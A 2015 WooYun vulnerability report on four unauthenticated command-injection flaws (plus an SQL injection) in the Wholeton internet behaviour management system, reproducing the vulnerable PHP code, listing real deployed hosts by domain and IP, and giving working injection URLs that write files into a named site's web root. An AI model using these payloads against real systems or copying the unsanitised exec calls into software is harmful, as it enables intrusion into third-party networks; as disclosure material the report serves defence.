当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103676

漏洞标题:惠尔顿上网行为管理系统命令执行四处(无需登录)

相关厂商:cncert国家互联网应急中心

漏洞作者: xfkxfk

提交时间:2015-03-26 11:32

修复时间:2015-06-29 08:36

公开时间:2015-06-29 08:36

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-26: 细节已通知厂商并且等待厂商处理中
2015-03-31: 厂商已经确认,细节仅向厂商公开
2015-04-03: 细节向第三方安全合作伙伴开放
2015-05-25: 细节向核心白帽子及相关领域专家公开
2015-06-04: 细节向普通白帽子公开
2015-06-14: 细节向实习白帽子公开
2015-06-29: 细节向公众公开

简要描述:

捡pandas牛剩下的,惠尔顿上网行为管理系统命令执行四处(无需登录)

详细说明:

官网经典案例:http://www.wholeton.com/Anli.php
外网部分实际案例:

1.https://test.bescar.com
2.https://angelic.com.cn/
3.http://222.223.56.116
4.https://222.92.15.100
5.http://111.206.133.4/
6.http://mail.hualiu.cc/


第一处命令执行
文件/base/tpl/delectSSLL.php

<?php 
$ssl_dir = "/usr/local/WholetonTM/triton/conf/URL/ssl/";
$id =$_REQUEST['id'];
exec ("rm ".$ssl_dir.$id);
ECHO "rm ".$ssl_dir.$id;
?>


这里id可控,直接进入exec执行
第二处命令执行:
文件/base/vpn/download_nodes.php

<?php 
$upload_dir = str_replace(";", "", $_REQUEST['file']);
$upload_file = "nodes";
$fp = fopen($upload_dir.$upload_file, "r ");
Header( "Content-type: application/octet-stream ");
Header( "Accept-Ranges: bytes ");
Header( "Accept-Length: ".filesize($upload_dir.$upload_file));
Header( "Content-Disposition: attachment; filename=".$upload_file);
echo fread($fp,filesize($upload_dir.$upload_file));
fclose($fp);
exec("rm ".$upload_dir.$upload_file);
exit;
?>


变量upload_dir可控,而且还进行了过滤,但是不影响
第三处命令执行:
文件/base/tpl/delectSSL.php

<?php
$thisfile = basename($_SERVER['PHP_SELF']);
$RootDir = $_SERVER["DOCUMENT_ROOT"].'/base/';
include_once "$RootDir/include/gblinclude.php";
$ssl_dir = "/usr/local/WholetonTM/triton/conf/URL/ssl/";
$id = urldecode($_REQUEST['id']);
exec ("rm ".$ssl_dir.$id);
$sql = "select domain,Id from tb_ssl_policy where domain like '%$id%'";
$dataList = $gblDBConnect->getAll($sql);
if(is_array($dataList)){
foreach($dataList as $obj){
$new_domain = array();
$new_domain1= '';
$domain = explode("::",$obj->domain);
if(count($domain)>0){
for($d = 0;$d<count($domain);$d++){
if($domain[$d]!=trim($id)){
$new_domain[] = $domain[$d];
}
}
$new_domain1 = implode("::",$new_domain);
}
$update_policy = "update tb_ssl_policy set domain='".$new_domain1."' where Id=".$obj->Id;
$gblDBConnect->execute($update_policy);
}
}
?>


此处某些版本需要登陆,有些版本不需要登录
参数id可控
而且id参数还造成SQL注入漏洞
第四处命令执行:
文件/base/user/clearScreenImg.php

<?php 
$thisfile = basename($_SERVER['PHP_SELF']);
$RootDir = $_SERVER["DOCUMENT_ROOT"].'/base/';
include_once "$RootDir/include/gblinclude.php";
$user = $_REQUEST['user']?$_REQUEST['user']:"*";
exec("rm -rf /opt/triton/client_screen/".$user);
?>


参数user可控

漏洞证明:

这一次换一个案例证明:
以案例:http://222.223.56.116为例
第一处证明:

https://test.bescar.com/base/tpl/delectSSLL.php?id=;echo '333333'>/usr/local/WholetonTM/htdocs/333333.php


3.png


第二处证明:

https://test.bescar.com/base/vpn/download_nodes.php?file=123|echo '444444'>/usr/local/WholetonTM/htdocs/444444.php|


3.png


第三处和第四处都一样,直接拼接命令即可。

修复方案:

重写。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-31 08:34

厂商回复:

CNVD确认并复现所述情况,已经由CNVD直接向软件生产厂商_深圳惠尔顿公司电话和邮件通报.

最新状态:

暂无